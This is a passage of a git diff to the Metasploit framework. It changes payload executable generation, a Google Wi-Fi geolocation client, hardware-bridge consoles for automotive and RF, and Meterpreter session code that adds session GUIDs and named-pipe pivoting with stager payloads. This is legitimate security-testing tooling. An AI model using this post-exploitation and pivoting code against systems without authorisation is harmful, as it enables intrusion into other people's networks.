+                  res_path = dir + ::File::SEPARATOR + res
+                  if ::File.exist?(res_path)
+                    good_res = res_path
+                    break
+                  end
                 end
               end
-              end
               if good_res
                 driver.load_resource(good_res)
               else
diff --git a/lib/msf/util.rb b/lib/msf/util.rb
index 7439f57d30..4944e330e9 100644
--- a/lib/msf/util.rb
+++ b/lib/msf/util.rb
@@ -21,3 +21,4 @@ end
 
 # Executable generation and encoding
 require 'msf/util/exe'
+require 'msf/util/helper'
diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
index 87778c2b15..ca5d147d60 100644
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -106,7 +106,7 @@ require 'msf/core/exe/segment_appender'
   # @return           [String]
   # @return           [NilClass]
   def self.to_executable(framework, arch, plat, code = '', opts = {})
-    if elf? code
+    if elf? code or macho? code
       return code
     end
 
@@ -165,6 +165,14 @@ require 'msf/core/exe/segment_appender'
       # XXX: Add remaining ARMLE systems here
     end
 
+    if arch.index(ARCH_AARCH64)
+      if plat.index(Msf::Module::Platform::Linux)
+        return to_linux_aarch64_elf(framework, code)
+      end
+
+      # XXX: Add remaining AARCH64 systems here
+    end
+
     if arch.index(ARCH_PPC)
       if plat.index(Msf::Module::Platform::OSX)
         return to_osx_ppc_macho(framework, code)
@@ -2134,6 +2142,8 @@ require 'msf/core/exe/segment_appender'
           to_linux_x86_elf(framework, code, exeopts)
         when ARCH_X64
           to_linux_x64_elf(framework, code, exeopts)
+        when ARCH_AARCH64
+          to_linux_aarch64_elf(framework, code, exeopts)
         when ARCH_ARMLE
           to_linux_armle_elf(framework, code, exeopts)
         when ARCH_MIPSBE
@@ -2160,20 +2170,28 @@ require 'msf/core/exe/segment_appender'
       end
       if !plat || plat.index(Msf::Module::Platform::Linux)
         case arch
+        when ARCH_X86
+          to_linux_x86_elf_dll(framework, code, exeopts)
         when ARCH_X64
           to_linux_x64_elf_dll(framework, code, exeopts)
+        when ARCH_ARMLE
+          to_linux_armle_elf_dll(framework, code, exeopts)
         end
       end
     when 'macho', 'osx-app'
-      macho = case arch
-      when ARCH_X86,nil
-        to_osx_x86_macho(framework, code, exeopts)
-      when ARCH_X64
-        to_osx_x64_macho(framework, code, exeopts)
-      when ARCH_ARMLE
-        to_osx_arm_macho(framework, code, exeopts)
-      when ARCH_PPC
-        to_osx_ppc_macho(framework, code, exeopts)
+      if macho? code
+        macho = code
+      else
+        macho = case arch
+        when ARCH_X86,nil
+          to_osx_x86_macho(framework, code, exeopts)
+        when ARCH_X64
+          to_osx_x64_macho(framework, code, exeopts)
+        when ARCH_ARMLE
+          to_osx_arm_macho(framework, code, exeopts)
+        when ARCH_PPC
+          to_osx_ppc_macho(framework, code, exeopts)
+        end
       end
       fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
     when 'vba'
@@ -2301,6 +2319,10 @@ require 'msf/core/exe/segment_appender'
     code[0..3] == "\x7FELF"
   end
 
+  def self.macho?(code)
+    code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE" 
+  end
+
 end
 end
 end
diff --git a/lib/msf/util/helper.rb b/lib/msf/util/helper.rb
new file mode 100644
index 0000000000..82b72c9491
--- /dev/null
+++ b/lib/msf/util/helper.rb
@@ -0,0 +1,21 @@
+# -*- coding: binary -*-
+
+module Msf
+module Util
+class Helper
+  # Cross-platform way of finding an executable in the $PATH.
+  #
+  #   which('ruby') #=> /usr/bin/ruby
+  def self.which(cmd)
+    exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']
+    ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|
+      exts.each { |ext|
+        exe = File.join(path, "#{cmd}#{ext}")
+        return exe if File.executable?(exe) && !File.directory?(exe)
+      }
+    end
+    return nil
+  end
+end
+end
+end
diff --git a/lib/rex/google/geolocation.rb b/lib/rex/google/geolocation.rb
index 3afc328ddf..196a704d69 100755
--- a/lib/rex/google/geolocation.rb
+++ b/lib/rex/google/geolocation.rb
@@ -7,11 +7,12 @@ module Rex
   module Google
     # @example
     #   g = Rex::Google::Geolocation.new
+    #   g.set_api_key('example')
     #   g.add_wlan("00:11:22:33:44:55", "example", -80)
     #   g.fetch!
     #   puts g, g.google_maps_url
     class Geolocation
-      GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&"
+      GOOGLE_API_URI = "https://www.googleapis.com/geolocation/v1/geolocate?key="
 
       attr_accessor :accuracy
       attr_accessor :latitude
@@ -24,20 +25,24 @@ module Rex
 
       # Ask Google's Maps API for the location of a given set of BSSIDs (MAC
       # addresses of access points), ESSIDs (AP names), and signal strengths.
-      def fetch!
-        @uri.query << @wlan_list.take(10).join("&wifi=")
-        request = Net::HTTP::Get.new(@uri.request_uri)
+      def fetch!        
+        request = Net::HTTP::Post.new(@uri.request_uri)
+        request.body = {'wifiAccessPoints' => @wlan_list}.to_json
+        request['Content-Type'] = 'application/json'
         http = Net::HTTP.new(@uri.host, @uri.port)
         http.use_ssl = true
         response = http.request(request)
 
+        msg = "Failure connecting to Google for location lookup."
         if response && response.code == '200'
           results = JSON.parse(response.body)
           self.latitude = results["location"]["lat"]
           self.longitude = results["location"]["lng"]
           self.accuracy = results["accuracy"]
+        elsif response && response.body && response.code != '404' # we can json load and get a good error message
+          msg += " Code #{results['error']['code']} for query #{@uri} with error #{results['error']['message']}"
+          fail msg
         else
-          msg = "Failure connecting to Google for location lookup."
           msg += " Code #{response.code} for query #{@uri}" if response
           fail msg
         end
@@ -45,15 +50,14 @@ module Rex
 
       # Add an AP to the list to send to Google when {#fetch!} is called.
       #
-      # Turns out Google's API doesn't really care about ESSID or signal strength
-      # as long as you have BSSIDs. Presumably adding them will make it more
-      # accurate? Who knows.
-      #
       # @param mac [String] in the form "00:11:22:33:44:55"
-      # @param ssid [String] ESSID associated with the mac
       # @param signal_strength [String] a thing like
-      def add_wlan(mac, ssid = nil, signal_strength = nil)
-        @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}"))
+      def add_wlan(mac, signal_strength)
+        @wlan_list.push({ :macAddress => mac.upcase.to_s, :signalStrength => signal_strength.to_s })
+      end
+
+      def set_api_key(key)
+        @uri = URI.parse(URI.encode(GOOGLE_API_URI + key))
       end
 
       def google_maps_url
diff --git a/lib/rex/logging/sinks/timestamp_flatfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb
index b7fa229922..5fd451d3cd 100644
--- a/lib/rex/logging/sinks/timestamp_flatfile.rb
+++ b/lib/rex/logging/sinks/timestamp_flatfile.rb
@@ -13,7 +13,7 @@ class TimestampFlatfile < Flatfile
 
   def log(sev, src, level, msg, from) # :nodoc:
     return unless msg.present?
-    msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ")
+    msg = msg.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, ' ').gsub(/\s+$/,'')
     fd.write("[#{get_current_timestamp}] #{msg}\n")
     fd.flush
   end
diff --git a/lib/rex/parser/arguments.rb b/lib/rex/parser/arguments.rb
index b816762d64..3a029fa36d 100644
--- a/lib/rex/parser/arguments.rb
+++ b/lib/rex/parser/arguments.rb
@@ -43,20 +43,20 @@ module Rex
             next
           end
 
-          if arg[0] == '-'
-            cfs = arg[0..2]
+          if arg.length > 1 && arg[0] == '-' && arg[1] != '-'
+            arg.split('').each do |flag|
+              fmt.each_pair do |fmtspec, val|
+                next if fmtspec != "-#{flag}"
 
-            fmt.each_pair do |fmtspec, val|
-              next if fmtspec != cfs
+                param = nil
 
-              param = nil
+                if val[0]
+                  param = args[idx + 1]
+                  skip_next = true
+                end
 
-              if val[0]
-                param = args[idx + 1]
-                skip_next = true
+                yield fmtspec, idx, param
               end
-
-              yield fmtspec, idx, param
             end
           else
             yield nil, idx, arg
diff --git a/lib/rex/parser/fs/bitlocker.rb b/lib/rex/parser/fs/bitlocker.rb
index 2992a0bf77..1c871d4bd6 100644
--- a/lib/rex/parser/fs/bitlocker.rb
+++ b/lib/rex/parser/fs/bitlocker.rb
@@ -4,7 +4,7 @@ require 'openssl/ccm'
 require 'metasm'
 
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/lib/rex/parser/nokogiri_doc_mixin.rb b/lib/rex/parser/nokogiri_doc_mixin.rb
index 9e59c56061..27a3be7688 100644
--- a/lib/rex/parser/nokogiri_doc_mixin.rb
+++ b/lib/rex/parser/nokogiri_doc_mixin.rb
@@ -125,8 +125,6 @@ module Parser
       if @args[:blacklist]
         return false if @args[:blacklist].include?(@report_data[:host])
       end
-      return false unless @report_data[:ports]
-      return false if @report_data[:ports].empty?
       return true
     end
 
diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb
index dac1c744ff..2c0479c9af 100644
--- a/lib/rex/payloads/meterpreter/config.rb
+++ b/lib/rex/payloads/meterpreter/config.rb
@@ -3,6 +3,7 @@ require 'msf/core/payload/uuid'
 require 'msf/core/payload/windows'
 require 'msf/core/reflective_dll_loader'
 require 'rex/socket/x509_certificate'
+require 'securerandom'
 
 class Rex::Payloads::Meterpreter::Config
 
@@ -50,14 +51,23 @@ private
     uuid = opts[:uuid].to_raw
     exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
 
+    # if no session guid is given then we'll just pass the blank
+    # guid through. this is important for stageless payloads
+    if opts[:stageless] == true || opts[:null_session_guid] == true
+      session_guid = "\x00" * 16
+    else
+      session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
+    end
+
     session_data = [
       0,                  # comms socket, patched in by the stager
       exit_func,          # exit function identifer
       opts[:expiration],  # Session expiry
-      uuid                # the UUID
+      uuid,               # the UUID
+      session_guid        # the Session GUID
     ]
 
-    session_data.pack('VVVA*')
+    session_data.pack('QVVA*A*')
   end
 
   def transport_block(opts)
@@ -68,7 +78,8 @@ private
       lhost = "[#{lhost}]"
     end
 
-    url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
+    url = "#{opts[:scheme]}://#{lhost}"
+    url << ":#{opts[:lport]}" if opts[:lport]
     url << "#{opts[:uri]}/" if opts[:uri]
     url << "?#{opts[:scope_id]}" if opts[:scope_id]
 
diff --git a/lib/rex/post/hwbridge/extensions/automotive/automotive.rb b/lib/rex/post/hwbridge/extensions/automotive/automotive.rb
index e1dba4ae85..96e6e4a7fe 100644
--- a/lib/rex/post/hwbridge/extensions/automotive/automotive.rb
+++ b/lib/rex/post/hwbridge/extensions/automotive/automotive.rb
@@ -81,6 +81,18 @@ class Automotive < Extension
     arr.map { |b| "%02x" % (b.respond_to?("hex") ? b.hex : b ) }
   end
 
+  #
+  # Pad the end of a packet with a set byte until it is 8 bytes long
+  #
+  # @param data [Array] Packet to padd
+  # @param padding [Integer] Expected single byte 0x00 style argument
+  # @return [Array] Packet as data
+  def padd_packet(data, padding)
+    return data if padding.nil?
+    return data if data.size > 7
+    data + [ padding ] * (8 - data.size)
+  end
+
   def set_active_bus(bus)
     self.active_bus = bus
   end
@@ -107,10 +119,16 @@ class Automotive < Extension
     # TODO: Implement sending ISO-TP > 8 bytes
     data = [ data ] if data.is_a? Integer
     if data.size < 8
+      # Padding is handled differently after 0.0.3
+      if Gem::Version.new(client.api_version) < Gem::Version.new('0.0.4')
+        data = padd_packet(data, opt['PADDING']) if opt.key? 'PADDING'
+      end
       data = array2hex(data).join
       request_str = "/automotive/#{bus}/isotpsend_and_wait?srcid=#{src_id}&dstid=#{dst_id}&data=#{data}"
       request_str += "&timeout=#{opt['TIMEOUT']}" if opt.key? "TIMEOUT"
       request_str += "&maxpkts=#{opt['MAXPKTS']}" if opt.key? "MAXPKTS"
+      request_str += "&padding=#{opt['PADDING']}" if opt.key? "PADDING" # Won't hurt to use in older versions
+      request_str += "&fc=#{opt['FC']}" if opt.key? "FC" # Force flow control
       return check_for_errors(client.send_request(request_str))
     end
     nil
diff --git a/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb
index 9ef945f8d8..eae14ba6fc 100644
--- a/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb
+++ b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb
@@ -186,6 +186,10 @@ class RFTransceiver < Extension
     client.send_request("/rftransceiver/#{idx}/set_number_preamble?num=#{num}")
   end
 
+  def set_lowball(idx)
+    client.send_request("/rftransceiver/#{idx}/set_lowball")
+  end
+
   def set_maxpower(idx)
     client.send_request("/rftransceiver/#{idx}/set_maxpower")
   end
diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb
index 5f2b0928b2..961c42c3fe 100644
--- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb
+++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb
@@ -174,6 +174,8 @@ class Console::CommandDispatcher::Automotive
     data = ''
     timeout = nil
     maxpackets = nil
+    flowcontrol = false
+    padding = nil
     cansend_opts = Rex::Parser::Arguments.new(
       '-h' => [ false, 'Help Banner' ],
       '-b' => [ true, 'Target bus'],
@@ -181,6 +183,8 @@ class Console::CommandDispatcher::Automotive
       '-R' => [ true, 'Return ID'],
       '-D' => [ true, 'Data packet in Hex (Do not include ISOTP command size)'],
       '-t' => [ true, 'Timeout value'],
+      '-p' => [ true, 'Padding value, none if not specified'],
+      '-C' => [ false, 'Force flow control'],
       '-m' => [ true, 'Max packets to receive']
     )
     cansend_opts.parse(args) do |opt, _idx, val|
@@ -199,6 +203,10 @@ class Console::CommandDispatcher::Automotive
         data = val
       when '-t'
         timeout = val.to_i
+      when '-p'
+        padding = val
+      when '-C'
+        flowcontrol = true
       when '-m'
         maxpackets = val.to_i
       end
@@ -224,6 +232,8 @@ class Console::CommandDispatcher::Automotive
     opt = {}
     opt['TIMEOUT'] = timeout unless timeout.nil?
     opt['MAXPKTS'] = maxpackets unless maxpackets.nil?
+    opt['PADDING'] = padding unless padding.nil?
+    opt['FC'] = true unless flowcontrol == false
     result = client.automotive.send_isotp_and_wait_for_response(bus, id, ret, bytes, opt)
     if result.key? 'Packets'
       result['Packets'].each do |pkt|
@@ -269,7 +279,7 @@ class Console::CommandDispatcher::Automotive
       return
     end
     if id.blank? && !stop
-      if self.tpjobs.size.positive?
+      if self.tpjobs.size > 0
         print_line("TesterPresent is currently active")
         self.tpjobs.each_index do |jid|
           if self.tpjobs[jid]
diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb
index b0c8a943b6..b514a8902a 100644
--- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb
+++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb
@@ -185,7 +185,7 @@ class Console::CommandDispatcher::Core
     if mod
       print_line(::Msf::Serializer::ReadableText.dump_module(mod))
       mod_opt = ::Msf::Serializer::ReadableText.dump_options(mod, '   ')
-      print_line("\nModule options (#{mod.fullname}):\n\n#{mod_opt}") if mod_opt && mod_opt.length.positive?
+      print_line("\nModule options (#{mod.fullname}):\n\n#{mod_opt}") if mod_opt && mod_opt.length > 0
     end
   end
 
@@ -204,7 +204,7 @@ class Console::CommandDispatcher::Core
   # Get the HW bridge devices status
   #
   def cmd_status(*args)
-    if args.length.positive?
+    if args.length > 0
       cmd_status_help
       return true
     end
@@ -235,7 +235,7 @@ class Console::CommandDispatcher::Core
   # Get the Hardware specialty
   #
   def cmd_specialty(*args)
-    if args.length.positive?
+    if args.length > 0
       cmd_specialty_help
       return true
     end
@@ -251,7 +251,7 @@ class Console::CommandDispatcher::Core
   # Performs a device reset or factory reset
   #
   def cmd_reset(*args)
-    if args.length.positive?
+    if args.length > 0
       cmd_reset_help
       return
     end
@@ -268,7 +268,7 @@ class Console::CommandDispatcher::Core
   # Perform a device reboot
   #
   def cmd_reboot(*args)
-    if args.length.positive?
+    if args.length > 0
       cmd_reboot_help
       return
     end
@@ -286,7 +286,7 @@ class Console::CommandDispatcher::Core
   # Loads custom methods if any exist
   #
   def cmd_load_custom_methods(*args)
-    if args.length.positive?
+    if args.length > 0
       cmd_load_custom_methods_help
       return true
     end
diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb
index f2f3b4ec26..53449512ca 100644
--- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb
+++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb
@@ -34,6 +34,7 @@ class Console::CommandDispatcher::RFtransceiver
       'deviation'         => 'sets the deviation',
       'sync_word'         => 'sets the sync word',
       'preamble'          => 'sets the preamble number',
+      'lowball'           => 'sets lowball',
       'power'             => 'sets the power level',
       'maxpower'          => 'sets max power'
     }
@@ -48,7 +49,7 @@ class Console::CommandDispatcher::RFtransceiver
       return
     end
     indexes = indexes['indexes']
-    unless indexes.size.positive?
+    unless indexes.size > 0
       print_line('none')
       return
     end
@@ -528,6 +529,20 @@ class Console::CommandDispatcher::RFtransceiver
     print_success(r)
   end
 
+  def cmd_lowball_help
+    print_line("Lowball is frequency dependent.  Set frequency first")
+  end
+
+  def cmd_lowball(*args)
+    self.idx ||= 0
+    if args.length > 0
+      cmd_lowball_help
+      return
+    end
+    r = client.rftransceiver.set_lowball(idx)
+    print_success(r)
+  end
+
   def cmd_maxpower_help
     print_line("Max power is frequency dependent.  Set frequency first")
   end
@@ -537,7 +552,7 @@ class Console::CommandDispatcher::RFtransceiver
   #
   def cmd_maxpower(*args)
     self.idx ||= 0
-    if args.length.positive?
+    if args.length > 0
       cmd_maxpower_help
       return
     end
diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb
index 21cd650638..6493949bc1 100644
--- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb
+++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb
@@ -44,7 +44,7 @@ class Console::CommandDispatcher::Zigbee
       return
     end
     devices = devices["devices"]
-    unless devices.size.positive?
+    unless devices.size > 0
       print_line("none")
       return
     end
diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb
index 4fc92b2aa6..e17302e9d7 100644
--- a/lib/rex/post/meterpreter/client.rb
+++ b/lib/rex/post/meterpreter/client.rb
@@ -12,6 +12,8 @@ require 'rex/post/meterpreter/object_aliases'
 require 'rex/post/meterpreter/packet'
 require 'rex/post/meterpreter/packet_parser'
 require 'rex/post/meterpreter/packet_dispatcher'
+require 'rex/post/meterpreter/pivot'
+require 'rex/post/meterpreter/pivot_container'
 
 module Rex
 module Post
@@ -35,6 +37,7 @@ class Client
 
   include Rex::Post::Meterpreter::PacketDispatcher
   include Rex::Post::Meterpreter::ChannelContainer
+  include Rex::Post::Meterpreter::PivotContainer
 
   #
   # Extension name to class hash.
@@ -77,7 +80,7 @@ class Client
   # Initializes the client context with the supplied socket through
   # which communication with the server will be performed.
   #
-  def initialize(sock,opts={})
+  def initialize(sock, opts={})
     init_meterpreter(sock, opts)
   end
 
@@ -85,7 +88,17 @@ class Client
   # Cleans up the meterpreter instance, terminating the dispatcher thread.
   #
   def cleanup_meterpreter
-    if not self.skip_cleanup
+    if self.pivot_session
+      self.pivot_session.remove_pivot_session(self.session_guid)
+    end
+
+    self.pivot_sessions.keys.each do |k|
+      pivot = self.pivot_sessions[k]
+      pivot.pivoted_session.kill('Pivot closed')
+      pivot.pivoted_session.shutdown_passive_dispatcher
+    end
+
+    unless self.skip_cleanup
       ext.aliases.each_value do | extension |
         extension.cleanup if extension.respond_to?( 'cleanup' )
       end
@@ -93,7 +106,7 @@ class Client
 
     dispatcher_thread.kill if dispatcher_thread
 
-    if not self.skip_cleanup
+    unless self.skip_cleanup
       core.shutdown rescue nil
     end
 
@@ -117,11 +130,20 @@ class Client
     self.conn_id      = opts[:conn_id]
     self.url          = opts[:url]
     self.ssl          = opts[:ssl]
-    self.expiration   = opts[:expiration]
-    self.comm_timeout = opts[:comm_timeout]
-    self.retry_total  = opts[:retry_total]
-    self.retry_wait   = opts[:retry_wait]
-    self.passive_dispatcher = opts[:passive_dispatcher]
+
+    self.pivot_session = opts[:pivot_session]
+    if self.pivot_session
+      self.expiration   = self.pivot_session.expiration
+      self.comm_timeout = self.pivot_session.comm_timeout
+      self.retry_total  = self.pivot_session.retry_total
+      self.retry_wait   = self.pivot_session.retry_wait
+    else
+      self.expiration   = opts[:expiration]
+      self.comm_timeout = opts[:comm_timeout]
+      self.retry_total  = opts[:retry_total]
+      self.retry_wait   = opts[:retry_wait]
+      self.passive_dispatcher = opts[:passive_dispatcher]
+    end
 
     self.response_timeout = opts[:timeout] || self.class.default_timeout
     self.send_keepalives  = true
@@ -130,6 +152,9 @@ class Client
     # self.encode_unicode   = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true
     self.encode_unicode = false
 
+    self.aes_key      = nil
+    self.session_guid = opts[:session_guid] || "\x00" * 16
+
     # The SSL certificate is being passed down as a file path
     if opts[:ssl_cert]
       if ! ::File.exist? opts[:ssl_cert]
@@ -140,32 +165,19 @@ class Client
       end
     end
 
-    if opts[:passive_dispatcher]
-      initialize_passive_dispatcher
+    initialize_passive_dispatcher if opts[:passive_dispatcher]
 
-      register_extension_alias('core', ClientCore.new(self))
+    register_extension_alias('core', ClientCore.new(self))
 
-      initialize_inbound_handlers
-      initialize_channels
+    initialize_inbound_handlers
+    initialize_channels
+    initialize_pivots
 
-      # Register the channel inbound packet handler
-      register_inbound_handler(Rex::Post::Meterpreter::Channel)
-    else
-      # Switch the socket to SSL mode and receive the hello if needed
-      if capabilities[:ssl] and not opts[:skip_ssl]
-        swap_sock_plain_to_ssl()
-      end
+    # Register the channel and pivot inbound packet handlers
+    register_inbound_handler(Rex::Post::Meterpreter::Channel)
+    register_inbound_handler(Rex::Post::Meterpreter::Pivot)
 
-      register_extension_alias('core', ClientCore.new(self))
-
-      initialize_inbound_handlers
-      initialize_channels
-
-      # Register the channel inbound packet handler
-      register_inbound_handler(Rex::Post::Meterpreter::Channel)
-
-      monitor_socket
-    end
+    monitor_socket 
   end
 
   def swap_sock_plain_to_ssl
@@ -475,6 +487,10 @@ class Client
   #
   attr_accessor :passive_dispatcher
   #
+  # Reference to a session to pivot through
+  #
+  attr_accessor :pivot_session
+  #
   # Flag indicating whether to hex-encode UTF-8 file names and other strings
   #
   attr_accessor :encode_unicode
diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb
index 2f7c231e60..69d509ef89 100644
--- a/lib/rex/post/meterpreter/client_core.rb
+++ b/lib/rex/post/meterpreter/client_core.rb
@@ -3,6 +3,7 @@
 require 'rex/post/meterpreter/packet'
 require 'rex/post/meterpreter/extension'
 require 'rex/post/meterpreter/client'
+require 'msf/core/payload/transport_config'
 
 # Used to generate a reflective DLL when migrating. This is yet another
 # argument for moving the meterpreter client into the Msf namespace.
@@ -17,6 +18,8 @@ require 'rex/payloads/meterpreter/uri_checksum'
 # certificate hash checking
 require 'rex/socket/x509_certificate'
 
+require 'openssl'
+
 module Rex
 module Post
 module Meterpreter
@@ -31,24 +34,12 @@ module Meterpreter
 ###
 class ClientCore < Extension
 
-  UNIX_PATH_MAX = 108
-  DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
-
-  METERPRETER_TRANSPORT_SSL   = 0
-  METERPRETER_TRANSPORT_HTTP  = 1
-  METERPRETER_TRANSPORT_HTTPS = 2
-
-  TIMEOUT_SESSION = 24*3600*7  # 1 week
-  TIMEOUT_COMMS = 300          # 5 minutes
-  TIMEOUT_RETRY_TOTAL = 60*60  # 1 hour
-  TIMEOUT_RETRY_WAIT = 10      # 10 seconds
-
-  VALID_TRANSPORTS = {
-    'reverse_tcp'   => METERPRETER_TRANSPORT_SSL,
-    'reverse_http'  => METERPRETER_TRANSPORT_HTTP,
-    'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
-    'bind_tcp'      => METERPRETER_TRANSPORT_SSL
-  }
+  VALID_TRANSPORTS = [
+    'reverse_tcp',
+    'reverse_http',
+    'reverse_https',
+    'bind_tcp'
+  ]
 
   include Rex::Payloads::Meterpreter::UriChecksum
 
@@ -65,6 +56,44 @@ class ClientCore < Extension
   #
   ##
 
+  #
+  # create a named pipe pivot
+  #
+  def create_named_pipe_pivot(opts)
+    request = Packet.create_request('core_pivot_add')
+    request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
+
+
+    c = Class.new(::Msf::Payload)
+    c.include(::Msf::Payload::Stager)
+    c.include(::Msf::Payload::TransportConfig)
+
+    # Include the appropriate reflective dll injection module for the target process architecture...
+    if opts[:arch] == ARCH_X86
+      c.include(::Msf::Payload::Windows::MeterpreterLoader)
+    elsif opts[:arch] == ARCH_X64
+      c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
+    end
+
+    stage_opts = {
+      force_write_handle: true,
+      datastore: {
+        'PIPEHOST' => opts[:pipe_host],
+        'PIPENAME' => opts[:pipe_name]
+      }
+    }
+
+    stager = c.new()
+
+    stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
+    stage = stager.stage_payload(stage_opts)
+
+    request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
+    request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
+
+    response = self.client.send_request(request)
+  end
+
   #
   # Get a list of loaded commands for the given extension.
   #
@@ -125,6 +154,9 @@ class ClientCore < Extension
     result
   end
 
+  #
+  # Set associated transport timeouts for the currently active transport.
+  #
   def set_transport_timeouts(opts={})
     request = Packet.create_request('core_transport_set_timeouts')
 
@@ -207,7 +239,7 @@ class ClientCore < Extension
         image = f.read
       }
 
-      if !image.nil?
+      if image
         request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
       else
         raise RuntimeError, "Failed to serialize library #{library_path}.", caller
@@ -298,6 +330,9 @@ class ClientCore < Extension
     return true
   end
 
+  #
+  # Set the UUID on the target session.
+  #
   def set_uuid(uuid)
     request = Packet.create_request('core_set_uuid')
     request.add_tlv(TLV_TYPE_UUID, uuid.to_raw)
@@ -307,10 +342,39 @@ class ClientCore < Extension
     true
   end
 
+  #
+  # Set the session GUID on the target session.
+  #
+  def set_session_guid(guid)
+    request = Packet.create_request('core_set_session_guid')
+    request.add_tlv(TLV_TYPE_SESSION_GUID, guid)
+
+    client.send_request(request)
+
+    true
+  end
+
+  #
+  # Get the session GUID from the target session.
+  #
+  def get_session_guid(timeout=nil)
+    request = Packet.create_request('core_get_session_guid')
+
+    args = [request]
+    args << timeout if timeout
+
+    response = client.send_request(*args)
+
+    response.get_tlv_value(TLV_TYPE_SESSION_GUID)
+  end
+
+  #
+  # Get the machine ID from the target session.
+  #
   def machine_id(timeout=nil)
     request = Packet.create_request('core_machine_id')
 
-    args = [ request ]
+    args = [request]
     args << timeout if timeout
 
     response = client.send_request(*args)
@@ -325,6 +389,9 @@ class ClientCore < Extension
     Rex::Text.md5(mid.to_s.downcase.strip)
   end
 
+  #
+  # Get the current native arch from the target session.
+  #
   def native_arch(timeout=nil)
     # Not all meterpreter implementations support this
     request = Packet.create_request('core_native_arch')
@@ -337,6 +404,9 @@ class ClientCore < Extension
     response.get_tlv_value(TLV_TYPE_STRING)
   end
 
+  #
+  # Remove a transport from the session based on the provided options.
+  #
   def transport_remove(opts={})
     request = transport_prepare_request('core_transport_remove', opts)
 
@@ -347,6 +417,9 @@ class ClientCore < Extension
     return true
   end
 
+  #
+  # Add a transport to the session based on the provided options.
+  #
   def transport_add(opts={})
     request = transport_prepare_request('core_transport_add', opts)
 
@@ -357,6 +430,9 @@ class ClientCore < Extension
     return true
   end
 
+  #
+  # Change the currently active transport on the session.
+  #
   def transport_change(opts={})
     request = transport_prepare_request('core_transport_change', opts)
 
@@ -367,6 +443,9 @@ class ClientCore < Extension
     return true
   end
 
+  #
+  # Sleep the current session for the given number of seconds.
+  #
   def transport_sleep(seconds)
     return false if seconds == 0
 
@@ -379,12 +458,18 @@ class ClientCore < Extension
     return true
   end
 
+  #
+  # Change the active transport to the next one in the transport list.
+  #
   def transport_next
     request = Packet.create_request('core_transport_next')
     client.send_request(request)
     return true
   end
 
+  #
+  # Change the active transport to the previous one in the transport list.
+  #
   def transport_prev
     request = Packet.create_request('core_transport_prev')
     client.send_request(request)
@@ -480,51 +565,17 @@ class ClientCore < Extension
       raise RuntimeError, 'Cannot migrate into current process', caller
     end
 
-    if client.platform == 'linux'
-      if writable_dir.to_s.strip.empty?
-        writable_dir = tmp_folder
-      end
-
-      stat_dir = client.fs.filestat.new(writable_dir)
-
-      unless stat_dir.directory?
-        raise RuntimeError, "Directory #{writable_dir} not found", caller
-      end
-      # Rex::Post::FileStat#writable? isn't available
-    end
-
     migrate_stub = generate_migrate_stub(target_process)
     migrate_payload = generate_migrate_payload(target_process)
 
     # Build the migration request
     request = Packet.create_request('core_migrate')
 
-    if client.platform == 'linux'
-      socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
-
-      if socket_path.length > UNIX_PATH_MAX - 1
-        raise RuntimeError, 'The writable dir is too long', caller
